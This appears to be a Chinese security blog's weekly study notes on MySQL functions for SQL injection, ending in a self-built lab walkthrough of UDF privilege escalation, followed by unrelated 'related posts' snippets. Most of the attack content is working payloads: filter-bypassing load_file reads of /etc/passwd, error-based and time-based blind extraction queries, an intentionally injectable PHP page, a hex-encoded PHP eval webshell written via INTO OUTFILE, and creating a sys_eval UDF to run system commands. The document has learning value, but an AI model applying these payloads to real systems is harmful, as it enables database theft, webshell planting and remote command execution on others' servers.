信安周报-第04周:系统函数与UDF
信安之路
第04周
前言
这周自主研究的任务如下:
附录解释:
- SQLi的时候应对各种限制,可以使用数据库自带的系统函数来进行一系列变换绕过验证
- eg:字符串转换函数、截取字符串长度函数等
- 注入的时候需要利用数据库来执行系统命令,不同数据库采用不同方式
- eg:MySQL的
udf
、SQLServer的xp_cmdshell
- eg:MySQL的
- 可以手动构造一些可以利用数据库执行命令的场景,然后进行渗透,从而理解这个提权过程
1.系统函数
参考文档:MySQL函数 https://dev.mysql.com/doc/refman/5.7/en/functions.html
1.1.字符串函数
在MySQL中最常用的当属字符串相关的函数了:
PS:哪个用法不清楚就直接
help xx
函数名 | 说明 |
---|---|
lower(str)
|
把字符串转换为小写 |
upper(str)
|
把字符串转换为大写 |
ltrim(str)
|
去除字符串左边空格 |
rtrim(str)
|
去除字符串右边空格 |
trim([remove_str from ]str)
|
去除字符串两端空格或指定字符 |
reverse(str)
|
反转字符串 |
length(str)
|
返回字符串的存储长度 |
char_length(str)
|
返回字符串的字符个数 |
instr(str,substr)
|
返回substr第一次出现的位置 |
left(str,n)
|
返回字符串前n个字符 |
right(str,n)
|
返回字符串后n个字符 |
mid(str,pos[,len])
|
截取从pos位置开始到len长度的字符串 |
substring(str,pos[,len])
|
截取从pos位置开始到len长度的字符串 |
replace(str,old_str,new_str])
|
用new_str替换str中的old_str |
concat(str1,str2...)
|
将多个字符串合并为一个字符串 |
concat_ws(split_str,str1,str2...)
|
以指定字符拼接多个字符串 |
group_concat(column)
|
把分组中的值拼接成一个字符串 |
简单演示一下用法:
1.lower、upper、ltrim、rtrim、trim
案例:
2.length、char_length
案例:
3.reverse、concat、concat_ws
案例:
4.instr、substr
的去广告案例:
PS:
substring
等同于substr
以及mid
,它只是为了兼容其他数据库
5.replace
去广告案例:(更合适)
5.group_concat
小解:
传统数据库一般使用了group by,那么select的列必须包含在group by子句或者是聚合函数才行:
MySQL虽然做了语法兼容,但结果并不太准确,这时候就可以使用group_concat
:
select group_concat(file_name) as file_name, url, count(*) from file_records group by url;
PS:SQLServer达到相同效果就需要自己构造了:
select ids =(select stuff((select ',' + cast(id as varchar(20)) from file_records as f where f.url = file_records.url for xml path ('')), 1, 1, '')),url,count(*) from file_records group by url;
1.2.转换函数
函数名 | 说明 |
---|---|
hex(str)
|
把字符串转换为16进制 |
to_base64(obj)
|
编码为base64字符串 |
from_base64(base64_str)
|
解码base64格式的字符串 |
unhex(16str)
|
把16进制转换为字符串 |
ord(str)
|
返回最左边字符的ascii码 |
ascii(char)
|
返回字符串str的最左侧字符的数值 |
char(ascii_num)
|
把ascii码数值转换为对应的字符 |
convert(expr,type)
|
把表达式转换为指定类型type |
base64函数是MySQL5.6
添加的 ==> so,MariaDB 5.5.60 是没有的
PS:
MariaDB 10.0.5
才新增
PS:哪个用法不清楚就直接help xx
,具体案例看场景举例
1.3.其他系列
函数名 | 说明 |
---|---|
if(expr,a,b)
|
如果表达式expr成立返回结果a,否则返回结果b |
updatexml(xml_target, xpath_expr, new_xml)
|
返回替换的XML片段 |
extractvalue(xml_frag, xpath_expr)
|
使用XPath表示法从XML字符串中提取值 |
sleep(time)
|
休眠time秒 |
2.场景举例
2.1.不能出现某些特殊字符
1.不能出现某些特殊字符
eg:在使用
load_file
函数的时候,要是url里屏蔽了'
可以使用hex转换一下,就可以绕过:
也可以借助ascii
和char
函数:
SQL附录:
select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file('/etc/passwd'),7,8,9;select hex('/etc/passwd'); -- 2F6574632F706173737764-- 需要自己添加0x
select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file(0x2F6574632F706173737764),7,8,9;-- 字符转换为ASCII码
select ascii('/'),ascii('e'),ascii('t'),ascii('c'),ascii('/'),ascii('p'),ascii('a'),ascii('s'),ascii('s'),ascii('w'),ascii('d');-- ASCII码转为字符串
select char(47,101,116,99,47,112,97,115,115,119,100);select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file(char(47,101,116,99,47,112,97,115,115,119,100)),7,8,9;
2.2.浏览器返回出现乱码
2.浏览器返回出现乱码,或者程序对返回结果有敏感检测等
eg:通过
hex
把返回结果转换为16进制即可
SQL附录:
select hex(load_file(0x2F6574632F706173737764));
select hex(load_file(char(47,101,116,99,47,112,97,115,115,119,100)));-- 解密
select unhex('726F6F743A783A303A303A...6E6F6C6F67696E0A');
2.3.一行查询出所有需要的结果
3.一行查询出所有需要的结果
PS:使用
concat
orconcat_ws()
SQL附录:
-- 推荐使用concat_ws(有null的时候也是有结果的)
select username from workdb.users where id=1 union select concat_ws(',',user(),database(),version());select hex(','); -- 2Cselect username from workdb.users where id=1 union select concat_ws(0x2c,user(),database(),version());
2.4.需要MySQL显示出报错信息
4.需要MySQL显示出报错信息
PS:使用
updatexml
orextractvalue
很多时候MySQL会隐藏错误提示,这时候我们可以通过别样的方式来让它显示错误信息,从而得到更多对渗透有利的info
SQL附录:
select convert((select @@version),int);select updatexml(1,concat('~',(select @@version)),1);select extractvalue(1,concat('~',(select @@version),1));
2.5.延时注入判断
有时候网站容错性比较强(各种默认值)在注入的时候不管加什么参数页面都没什么变化,这时候可以使用延时注入,用是否卡顿来判断是否有注入点
eg:
select * from users where id=1 or sleep(3);
orselect * from users where id=1 and sleep(3);
举个延迟注入获取数据的例子:
eg:获取当前用户名
大体思路:
- 查询当前用户猜测出用户名长度
- 截取第一个字符并转换为ASCII码
- 讲第一个字符的ASCII码和ASCII码表对比,匹配则延迟3s
- 继续截取字符并对比,直到全部解猜出来
获取用户名长度的SQL附录:
-- 获取当前用户的长度,不延迟说明不对
select if(length(user())=1,sleep(3),1);
select if(length(user())=2,sleep(3),1);
select if(length(user())=3,sleep(3),1);
select if(length(user())=4,sleep(3),1);
......
select if(length(user())=15,sleep(3),1);
select if(length(user())=16,sleep(3),1);
select if(length(user())=17,sleep(3),1);
select if(length(user())=18,sleep(3),1); -- 延迟了3s-- PS:可以自己验证一下是不是18位
select user(); -- dnt@192.168.36.144
select char_length(user()); -- 18
获取用户名每一个字符的SQL附录:(数据库通用的substring
可以换成mysql独有的mid
)
基本上都是在这里匹配:a~z
、A~Z
、0~9
、_、@、%、#...
,只看@
前面的字符,后面的直接忽略
ASCCI:
%:37
、0:48~9:57
、@:64
、A:65~Z:90
、_:95
、a:97~z:122
(可以使用二分法快速定位)
-- 获取第一个字符是什么
select if(substring(user(),1,1)>'a',sleep(3),1); -- 延迟3s,说明第1个字符比a大
select if(substring(user(),1,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
select if(substring(user(),1,1)>'p',sleep(3),1); -- 不延迟,说明在a~p之间
select if(substring(user(),1,1)<'h',sleep(3),1); -- 延迟3s,说明在a~h之间
select if(substring(user(),1,1)>'e',sleep(3),1); -- 不延迟,说明在a~e之间
select if(substring(user(),1,1)>'c',sleep(3),1); -- 延迟3s,说明在c~e之间 ==> 那就是d了
select if(substring(user(),1,1)='d',sleep(3),1); -- 延迟3s,说明第1个字符是d-- 获取第二个字符是什么
select if(substring(user(),2,1)>'a',sleep(3),1); -- 延迟3s,说明第2个字符比a大
select if(substring(user(),2,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
select if(substring(user(),2,1)>'p',sleep(3),1); -- 不延迟,说明在a~p之间
select if(substring(user(),2,1)<'h',sleep(3),1); -- 不延迟,说明在h~p之间
select if(substring(user(),2,1)>'m',sleep(3),1); -- 延迟3s,说明在m~p之间
select if(substring(user(),2,1)<'o',sleep(3),1); -- 延迟3s,说明在m~0之间 ==> 那就是n了
select if(substring(user(),2,1)='n',sleep(3),1); -- 延迟3s,说明第2个字符是n-- 获取第三个字符是什么
select if(substring(user(),3,1)>'a',sleep(3),1); -- 延迟3s,说明第3个字符比a大
select if(substring(user(),3,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
select if(substring(user(),3,1)>'p',sleep(3),1); -- 延迟3s,说明在p~z之间
select if(substring(user(),3,1)<'v',sleep(3),1); -- 延迟3s,说明在p~v之间
select if(substring(user(),3,1)<'s',sleep(3),1); -- 不延迟,说明在s~v之间
select if(substring(user(),3,1)>'t',sleep(3),1); -- 不延迟,说明在s~t之间 ==> 要么s要么t
select if(substring(user(),3,1)='s',sleep(3),1); -- 不延迟
select if(substring(user(),3,1)='t',sleep(3),1); -- 延迟3s,说明第3个字符是n-- 获取第四个字符是什么
select if(substring(user(),4,1)>'a',sleep(3),1); -- 不延迟,说明第4个字符比a小
select if(substring(user(),4,1)>'A',sleep(3),1); -- 不延迟,说明第4个字符比A小
select if(substring(user(),4,1)>'0',sleep(3),1); -- 延迟3s,说明可能是数字或者特殊符号
select if(substring(user(),4,1)<'9',sleep(3),1); -- 不延迟,说明是9~A之间的特殊符号
select if(substring(user(),4,1)='@',sleep(3),1); -- 延迟3s,说明就是@了-- 说明用户名为:dnt-- PS:可以自己验证一下:dnt@
select substring(user(),1,1),substring(user(),2,1),substring(user(),3,1),substring(user(),4,1);
3.UDF实战
以下为自己构造的场景,然后附上了自我入侵的全过程,如有便捷之处还望指正~
3.1.大体思路
- 写一句话木马
- 菜刀连接
- 上传udf文件,不行就先上传大马,然后通过大马上传udf文件
- 创建功能函数
- 执行提权或者其他命令
- 删除函数
3.2.构造注入页面
写一个存在SQLi的页面:index.php
测试环境:
phpstudy ==> PHP7 + MySQL5.7 + Nginx1.15.11
<?php// 自己构造的一个sqli页面$pms=$_GET["id"];if(empty($pms)){$pms=1;}echo "id=" . $pms . "<br/>";$conn=new mysqli("localhost", "root", "xxxx", "workdb");if ($conn->connect_error) {die("连接失败:" . $conn->connect_error);}// 防止中文乱码$conn->query("set names utf8;");$sql = "select username,password from workdb.users where id=" . $pms;echo "SQL:" . $sql . "<br/>";$result = $conn->query($sql);if($result->num_rows > 0){while($row = $result->fetch_assoc()){echo "username:" . $row["username"] . ",name:" . $row["password"] . "<br/>";}} else {echo "no results";}$conn->close();
?>
本案成功前提:配置文件中设置了secure-file-priv=
、root允许远程登录
PS:如有更好方法,还望大牛指教
3.3.信息查询
url构造:index.php?id=1 union select @@version,@@plugin_dir
url构造查询:index.php?id=1 union select load_file('D:\\Program Files (x86)\\phpstudy_pro\\WWW\\index.php'),concat(@@version_compile_os,',',@@version_compile_machine)
PS:如果遇到特殊字符屏蔽可以使用16进制(上面场景中我已经说过)
Linux
PS:Linux下可以查看/etc/passwd
发现有Nginx、Apache这些用户名,说明可能存在这些服务器,那么可以试试这些的web默认路径
eg:
index.php?id=1 union select load_file('/usr/share/nginx/html/index.php'),2
so ==> 网站根目录出现了(有时候/etc/passwd
中直接就可以看到)
3.4.写入一句话
url构造:index.php?id=1 union select 0x3c3f706870206576616c28245f504f53545b627279616e5d293b203f3e,1 into outfile 'D:\\Program Files (x86)\\phpstudy_pro\\WWW\\xiaoma.php'
Linux
PS:如果Linux权限配置不到位,也是可以通过这种方式上传的
构造:index.php?id=1 union select '<?php eval($_POST[bryan]); ?>',1 into outfile '/usr/share/nginx/html/xiaoma.php'
发现被屏蔽了,那把一句话转换为16进制字符串
index.php?id=1 union select 0x3c3f706870206576616c28245f504f53545b627279616e5d293b203f3e,1 into outfile '/usr/share/nginx/html/xiaoma.php'
PS:权限配置分明的就没法通过这个方式写入一句话了(就看安装的时候权限分配,以及网站根目录权限设置)
使用菜刀连接一句话木马:
3.5.连接一句话
菜刀下载:https://github.com/raddyfiy/caidao-official-version
取代菜刀:蚁剑:https://github.com/AntSwordProject/AntSword-Loader or Cknife:https://github.com/Chora10/Cknife
通过菜刀连接一句话木马
如果是PHP5则没有问题,如果是PHP7,会出现:Cannot call assert() with string argument dynamically
的提示
解决:可以参考我写的这篇文章:https://www.cnblogs.com/dotnetcrazy/p/11407505.html
3.6.上传文件
根据系统去metasploit
目录中下载对应的udf文件
PS:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
通过菜刀上传到插件目录:D:\Program Files (x86)\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\
PS:这边能直接上传,也就免去先上传大马再通过大马上传了
PS:Win使用dll,Linux使用so
3.7.创建功能函数
url构造:index.php?id=1;create function sys_eval returns string soname 'udf.dll';#
发现执行命令后不成功
PS:开启常规日志可以看到请求的SQL
发现被屏蔽了(可能是因为php的query只能执行一条语句的原因)
PS:大家想到什么一条SQL执行完查询和创建函数的可以说下
换条思路:读取配置文件(PHP连接MySQL的时候可能有些敏感信息)
PS:Net的
web.conf
也一样
url构造:index.php?id=1 union select load_file('D:\\Program Files (x86)\\phpstudy_pro\\WWW\\index.php'),2
PS:其实我们刚开始信息获取的时候就读过一次了,现在又绕过来了。。。
连接远程服务器:./mysql -h'192.168.36.144' -uroot -p
PS:win使用:create function sys_eval returns string soname 'udf.dll';
Linux使用:
create function sys_eval returns string soname 'udf.so';
3.8.执行系统命令
这时候你通过浏览器执行远程命令也是可以的:
PS:url构造:
index.php?id=1 union select sys_eval('whoami'),2
PS:删除函数:drop function sys_eval;
附录
参考文档
MySQL XML相关函数:
https://dev.mysql.com/doc/refman/5.7/en/xml-functions.htmludf文件:
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysqlMySQL函数列表:
https://www.w3cschool.cn/mysql
https://www.runoob.com/mysql/mysql-functions.html
https://www.w3resource.com/mysql/mysql-functions-and-operators.phpMySQL UDF渗透测试
https://zhuanlan.zhihu.com/p/35401523
https://www.freebuf.com/articles/system/163144.htmlPHP7和PHP5在安全上的区别
https://www.freebuf.com/articles/web/197013.html一句话木马的套路
https://www.freebuf.com/articles/web/195304.html菜刀连接php一句话木马返回200的原因及解决方法
http://shuiboye.blogspot.com/2018/01/php200.html
转载于:https://www.cnblogs.com/dotnetcrazy/p/11406469.html
信安周报-第04周:系统函数与UDF相关推荐
- 信安周报-第02周:SQL基础
信安之路 第02周 Code:https://github.com/lotapp/BaseCode/tree/master/safe 前言 本周需要自行研究学习的任务贴一下: 1.概念(推荐) 数据库 ...
- 信安66部——OA办公系统部署
OA系统测试环境搭建 启动虚拟机,并且用Administrator用户登录. 通过mstsc命令远程登录到虚拟机. 安装配置JDK JDK:Java应用程序运行的一个环境,分为widonws版本和li ...
- 数据泄密事件触目惊心, 看麒麟信安天机存储加密系统如何安全守护?
随着产业信息化.数字化.网络化进程加速,互联网+已然成为一种不可逆的趋势,然而目前数据泄露等安全事件频频被爆出,新趋势下的数据安全状况变得越发严峻: 银行泄露客户信息被罚30万--据媒体报道,2020 ...
- 赛思信安携手太极 助力《甘肃省公安厅大数据警务云》项目
项目背景 近年来,随着信息化技术的不断发展,现有的公安警务业务应用无论是规模还是架构都很难适应在海量数据场景下的数据管理和分析,直接影响了公安形势预判和重大决策.因此,建立"用数据说话.用数 ...
- 麒麟信安:根植于openEuler,走操作系统自主创新之路
随着信息安全问题日益突出,行业内外也越来越深刻地认识到,核心技术受制于人是我们最大的隐患.而2020年12月8日,CentOS社区宣布CentOS8将于2021年底停止维护,CentOS7将于2024 ...
- 麒麟信安天机存储加密系统——国家密码管理局商用密码认证产品
随着<网络安全法>.<密码法> 和<数据安全法>等法律法规的颁布,信息安全受到空前重视而上升至国家战略层面."等保2.0" ."关键信 ...
- 麒麟信安系统chrome和360浏览器离线安装
麒麟信安v3.4下载 网盘链接:百度网盘 请输入提取码 提取码:496v 系统粗略看下应该是类似CentOS7的 chrome离线包制作 wget https://dl.google.com/linu ...
- 信安之星数据泄漏防护系统
信安之星数据泄漏防护系统是一个平台系统,面向企业.组织内部全方位全体系的数据泄漏防护解决方案:这是一个完整的多功能系统,有统一的架构与组织,有统一的管理与认证,统一的服务系统与客户系统. 这 个系统有 ...
- 2016风云杯大学生信安大赛 WriteUp
2016风云杯大学生信安大赛 web 01 web 02 web 03 web 04 web 05 web 06 web 08 web 09 CRYPTO 01 misc 01 misc 02 mis ...
最新文章
- 下列哪些说法符合《阿里巴巴Java开发手册》
- python人脸识别从入门到工程pdf_Python人脸识别:从入门到工程实践
- Hibernate总结1
- docker Registry镜像仓库
- java 二进制置位,重置
- Atitit recv https req post code 接受https请求// npm install axios// 安装依赖:npm install body-parse
- 旧版sai笔刷_最详细的SAI笔刷设置教程,非常全面详细!
- EasyRoad3D使用手册
- 远程桌面系统管理员以限制你登入计算机,windows远程连接时:系统管理员已经限制你可以使用的登录类型(网络或交互式)解决办法...
- FlinkSQL 读写 MySQL
- 工控物联网案例-如何利用LTE-658 4G DTU实现水文水利远程物联网监控
- 翻译:如何成功How to be successful OpenAI CEO山姆奥特曼
- easypoi导入图片_原生POI / EasyPOI 简单上手使用
- php开发环境搭建和基础入门
- python实现陷波滤波器、低通滤波器、高斯滤波器、巴特沃斯滤波器
- 三极管+电容 实现的心形灯电路
- 为你推荐一款高效的IO组件——okio
- 微信小程序-----解决swiper默认高度150px
- 安科瑞数据中心EMS 系统解决方案
- Symbian OS